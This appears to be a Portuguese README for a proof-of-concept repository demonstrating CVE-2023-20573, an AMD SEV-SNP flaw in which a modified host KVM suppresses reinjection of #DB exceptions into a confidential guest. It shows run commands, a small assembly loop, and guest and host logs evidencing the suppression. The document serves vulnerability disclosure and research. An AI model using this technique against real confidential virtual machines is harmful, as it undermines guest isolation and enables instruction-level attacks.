
Prova de conceito demonstrando CVE-2023-20573: uma vulnerabilidade de hardware no AMD SEV-SNP que permite supressão de reinjeção de exceções no KVM, possibilitando exploração a nível de instrução.
Este repositório contém um VMM que inicializa um convidado SEV-SNP com um kernel personalizado. O VMM e o kernel são uma versão simplificada de um projeto meu. Um kernel Linux modificado é necessário para executar no host: https://github.com/Freax13/linux/tree/for-amd.
A Prova de Conceito pode ser executada assim:
cd host
cargo run -p vmm
Este código salta para frente e para trás entre duas instruções:
2:
nop
jmp 2b
Quando a flag TF está definida no registrador FLAGS, exceções devem ser geradas com o ponteiro de instrução alternando entre as duas instruções.
O kernel convidado define um manipulador de exceção que simplesmente registra o ponteiro de instrução reportado no quadro de pilha de interrupção. Em teoria, os logs devem se parecer com isto:
...
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
...
No entanto, na prática, o kernel host modificado suprime a reinjeção, resultando nos seguintes logs:
...
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:53] last instruction was also nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:59] last instruction was also jmp
[INFO kernel/src/exception.rs:50] nop
[INFO kernel/src/exception.rs:56] jmp
[INFO kernel/src/exception.rs:50] nop
...
Os eventos suprimidos aparecerão nos logs do kernel host:
...
[798678.660473] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.678645] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.680906] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.683491] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.700844] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
[798678.712970] kvm_amd: exit_int_info=80000301 exit_info_1=500000004 exit_info_2=180000000 exit_code=400
...
Isso demonstra que a entrega da exceção #DB foi suprimida.